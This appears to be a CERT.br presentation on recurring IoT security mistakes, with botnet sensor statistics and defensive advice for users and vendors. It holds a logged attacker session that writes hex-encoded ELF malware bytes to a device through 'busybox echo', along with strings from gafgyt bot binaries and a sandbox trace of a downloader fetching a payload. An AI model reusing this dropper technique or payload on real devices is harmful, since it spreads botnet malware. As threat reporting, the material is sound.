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IoT Vulnerabilities: 
Mistakes Déjà Vu 



https://www.kb.cert.org/vuls/id/800094  



http://www.bbc.com/news/technology-36903274  



https://labs.bitdefender.com/2016/08/hackers-can-use-smart-sockets-to-shut-down-critical-systems/  



http://www.nytimes.com/2016/11/03/technology/why-light-bulbs-may-be-the-next-hacker-target.html  



http://iotworm.eyalro.net/  



https://www.wired.com/2015/07/jeep-hack-chrysler-recalls-1-4m-vehicles-bug-fix/  

https://twitter.com/0xcharlie/status/624608369223962624  



http://www.kb.cert.org/vuls/id/884840  



http://www.pcworld.com/article/2987813/thousands-of-medical-devices-are-vulnerable-to-hacking-security-researchers-say.html  



http://metropolitan.fi/entry/ddos-attack-halts-heating-in-finland-amidst-winter  



http://www.theepochtimes.com/n3/2179764-isis-wants-to-enable-serial-killers-by-manipulating-surveillance-cameras/  



http://motherboard.vice.com/read/internet-of-things-ransomware-smart-thermostat  





Armies of things:  
Observations and recent attacks 



Botnets of IoT Devices 

Based on our network of sensors It’s possible to trace 
evolutions since 2013 
  infected CPEs, DVRs, CCTVs, NAS, domestic routers, etc 

Malwares usually propagate via Telnet (23/TCP) 
  remote access protocol, without cryptography 

Exploits Default or Weak Passwords 
-  vendor “backdoors” inclusive 

Targeting devices with embedded versions of Linux 
-  different architectures: ARM, MIPS, PowerPC, etc 



Notifications to CERT.br: 
Scans by port in 2015 



Notifications to CERT.br: 
Scans for 23/TCP – 2013 to jun/2016  
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Exemple of Bot Propagation via “echo” 
2016-04-20 13:57:42 IP: xx.xxx.xxx.167, cmd: "busybox echo –ne"\x7f\x45\x4c
\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\
x00\x00\xb0\x81\x00\x00\x34\x00\x00\x00\x30\xed
\x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x11\x00\x10\x00\x01\
x00\x00\x70\x18\xdb\x00\x00\x18\x5b\x01\x00\x18\x5b
\x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\
x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x28\xdb
\x00\x00\x28\xdb
\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x00\xe0\x00\x00\x00\
xe0\x01\x00\x00\xe0\x01\x00\xec
\x02\x00\x00\x08\x67\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x51\xe5\x74\x64\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x07\x00\x00\x00\x04\x00\x00\x00\x0d\xc0\xa0\xe1\xf0\xdf\x2d
\xe9\x04\xb0\x4c\xe2\xf0\xaf\x1b
\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x47\xc0\x46\x08\x47\
xc0\x46\x10\x47\xc0\x46\x18\x47\xc0\x46\x20” >> /dev/dvrshelper"
2016-04-20 13:57:44 IP: xx.xxx.xxx.167, cmd: "busybox echo -ne"\x47\xc0\x46 
\x28\x47\xc0\x46\x30\x47\xc0\x46\x38\x47\xc0\x46\x40\x47\xc0\x46\x48\x47\xc0\
x46\x50\x47\xc0\x46\x58\x47\xc0\x46\x60\x47\xc0\x46\x68\x47\xc0\x46\x70\x47\x
c0\x46\x10\x40\x2d\xe9\x2c\x40\x9f
\xe5\x00\x30\xd4\xe5\x00\x00\x53\xe3\x06\x00\x00\x1a\x20\x30\x9f
\xe5\x00\x00\x53\xe3\x1c\x00\x9f\x15\x0f\xe0\xa0\x11\x13\xff\x2f
\x11\x01\x30\xa0\xe3\x00\x30\xc4\xe5\x10\x40\xbd\xe8\x1e\xff\x2f
\xe1\xf0\xe2\x01\x00\x00\x00\x00\x00\x00\xe0\x01\x00\x04\xe0\x2d
\xe5\x40\x30\x9f\xe5\x00\x00\x53\xe3\x04\xd0\x4d\xe2\x38\x00\x9f
\x15\x38\x10\x9f\x15\x0f\xe0\xa0\x11\x13\xff\x2f\x11\x30\x00\x9f
\xe5\x00\x30\x90\xe5\x00\x00\x53\xe3\x03\x00\x00\x0a\x24\x30\x9f
\xe5\x00\x00\x53\xe3\x0f\xe0\xa0\x11\x13\xff\x2f\x11\x04\xd0\x8d
\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f
\xe1\x00\x00\x00\x00\x00\xe0\x01\x00\xf4\xe2\x01\x00\x0c
\xe0\x01\x00\x00\x00\x00\x00\x00\xb0\xa0\xe3\x00\xe0\xa0\xe3\x04\x10\x9d
\xe4\x0d\x20\xa0\xe1\x04\x20” >> /dev/dvrshelper"
[... continues ...]



First Binary (downloader) 
# file 
e01b9d2c02293fda11946cd5bd322406b4881663398797fcc6731e4b77ee3252
e01b9d2c02293fda11946cd5bd322406b4881663398797fcc6731e4b77ee3252
: ELF 32-bit MSB executable, MIPS, MIPS-I version 1

# strings 
e01b9d2c02293fda11946cd5bd322406b4881663398797fcc6731e4b77ee3252
 (!$
 (!$
mips
GCC: (GNU) 4.9.2
.shstrtab
.MIPS.abiflags
.reginfo
.text
.rodata
.comment
.pdr
.gnu.attributes
.mdebug.abi32



After Execution on a Sandbox 
 
 
 
 

Communication to an external IP passing architecture as 
parameter (via http://detux.org/): 
 
[xxx.xx.x.xx:58489 --> xx.xxx.xxx.xxx:23]
mips
[xx.xxx.xxx.xxx:23 --> xxx.xx.x.xx:58489]
ELF...
 
 
 
Binary sent as response: 
 
# file 
c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52
c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52
: ELF 32-bit MSB executable, MIPS, MIPS-I version 1



Final Binary 
# strings 
c8de69e3e17014aa4d2cba82f73d9e63a6ffb19dc04ac2abbb0d1a2a145c3b52
[...]
PONG!
TELNET
GETLOCALIP
My IP: %s
HOLD
JUNK
KILLATTK
Killed %d.
None Killed.
LOLNOGTFO
%sWelcome to the botnet %s:%s BUILD: [%s] :)%s
[33m
GAYFGT
v1.0
PONG
%s 2>&1
xx.xxx.xx.164:23
[...]



Global Distribution of gafgyt Bots 
gafgyt (also known as Lizkebab, BASHLITE, Torlus) 

Source: Attack of Things! – Level 3 Threat Research Labs –  August 25, 2016  
http://blog.level3.com/security/attack-of-things/  



September/2016, Mirai malware/botnet is unveiled:  
620Gbps against Brian Krebs website 

http://www.bbc.co.uk/news/amp/37439513 



https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/  



http://www.pcworld.com/article/3133847/internet/ddos-attack-on-dyn-knocks-spotify-twitter-github-etsy-and-more-offline.html  



Sierra Wireless: 
Wireless gateways are also affected 

http://source.sierrawireless.com/resources/airlink/software_reference_docs/technical-bulletin/sierra-wireless-technical-
bulletin---mirai/  

  used (among others) in: gas pipeline, oil pipeline, traffic lights, street 
lighting, smart grids, police cars and ambulances 



Data from CERT.br Sensors: 
Unique IPs infected with Mirai, per day  
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Data from CERT.br Sensors: 
Unique IPs infected with Mirai, per day  
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http://www.theregister.co.uk/2016/11/28/router_flaw_exploited_in_massive_attack/  



One Example of Propagation  
New Variant of Mirai 

https://isc.sans.edu/forums/diary/TR069+NewNTPServer+Exploits+What+we+know+so+far/21763/ 



Data from CERT.br Sensors:  
On the New Mirai Variant Propagation 

Top TCP ports scanned 
on 26/11 

Brazilian unique IPs 
scanning on port 7547 
(new variant signature) 

 

Global unique IPs 
scanning ports (both 

Mirai variants): 
 

Port total Day total Day total 

23 6.866.114 26/11 323.559 26/11 994.991

7547 1.637.233 27/11 573.730 27/11 1.453.565

22 703.706 28/11 245.920 28/11 1.103.218

2323 560.529 29/11 81.742 29/11 1.032.114

80 533.487 30/11 66.489 30/11 1.027.494



http://www.theregister.co.uk/2016/12/02/broadband_mirai_takedown_analysis/  



Challenges for Improvement 



Summarizing: 
Mistakes Déjà Vu 
Security is neglected 
  Security is someone else's problem  
  even in security devices! 

Few vendors have security updates lifecycle  
  bug report mechanism  
  update distribution 

Most of all repeat old mistakes: 
-  weak or lack of authentication  
-  default / hardcoded passwords  

-  faulty implementation 
-  lack of validation (data integrity, restrictions, requirements, etc) 

-  old protocols without cryptography 
-  “backdoors”  
-  undocumented accounts, reset to defaults, command execution, etc. 



How to improve the scenario? 

•  Solution depends on many actors  
  users   
  administrators 
  developers 
  manufacturers/vendors 
 



 
Users and System Administrators (1/2) 

•  Be cautious on choosing vendor 
  check whether it has a product updates/patches policy  
  check for history of vulnerabilities 
  identify the “chipset” and its manufacturer 
  check whether it has a product updates/patches policy  

  test it before buying  
  check whether it’s possible to disable unnecessary services and to 

change all passwords 
•  Plan before deploy  
  how to manage remotely (securely!) 
  how to update remotely 

 



 
Users and System Administrators (2/2) 

•  Even being cautious, have in mind that any device have 
problems  
  assume that it will have “backdoor” 
  test it in an controlled environment 

•  Disable unnecessary services and change default passwords 
  in some cases it may not be possible 

•  Keep devices up to date  

•  Whenever possible, use a management network  
  completely isolate devices (inbound / outbound) 

 



 
Developers/ Vendors / Manufacturers (1/3) 
•  Security must be “by design” 
  not an optional 
  consider security requirements since project initiation 

•  Do not use obsolete protocols 

•  Use strong authentication and cryptography 
•  Avoid  bad practices 
  “password of the day”, undocumented accounts, factory reset via WAN, 

etc 

•  Establish secure defaults 

•  Consider “abuse” cases 

•  Use secure development practices  



Developers/ Vendors / Manufacturers (2/3) 
OWASP Top 10 

Applications - 2013 IOT - 2014 

1 Injection Insecure Web Interface 

2 Broken Authentication and Session 
Management Insufficient Authentication/Authorization 

3 Cross-Site Scripting (XSS) Insecure Network Services 

4 Insecure Direct Object References Lack of Transport Encryption/Integrity 
Verification 

5 Security Misconfiguration Privacy Concerns 

6 Sensitive Data Exposure Insecure Cloud Interface 

7 Missing Function Level Access Control Insecure Mobile Interface 

8 Cross-Site Request Forgery (CSRF) Insufficient Security Configurability 

9 Using Components with Known 
Vulnerabilities Insecure Software/Firmware 

10 Unvalidated Redirects and Forwards Poor Physical Security 

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project 
https://www.owasp.org/images/7/71/Internet_of_Things_Top_Ten_2014-OWASP.pdf 



 
Developers/ Integrators/ Manufacturers (3/3) 
•  Security should be included in the corporate risk management 
  damage to image 
  damage to users, companies and to Internet infrastructure  

•  Updates 
  need to be possible 
  has to be secure (against impersonation, MiTM , malware, etc) 

•  Has to have a Product Security Incident Response Team (PSIRT)  
  to treat vulnerabilities and incidents regarding products  

•  Plan for large scale updates (to customers) 

•  Additional challenge in IoT: 01 chipset è many “vendors” 
  manufactures from China sells chipsets to countless vendors all around 

the world that rebrand it as a new product  (e.g. Dahua e Xiongmai) 
  How to update? Is Recall effective? (e.g. Xiongmai case) 



Obrigada! 
Thank you! 
¡Gracias! 

www.cert.br 
lucimara@cert.br @certbr 

December 2nd, 2016 


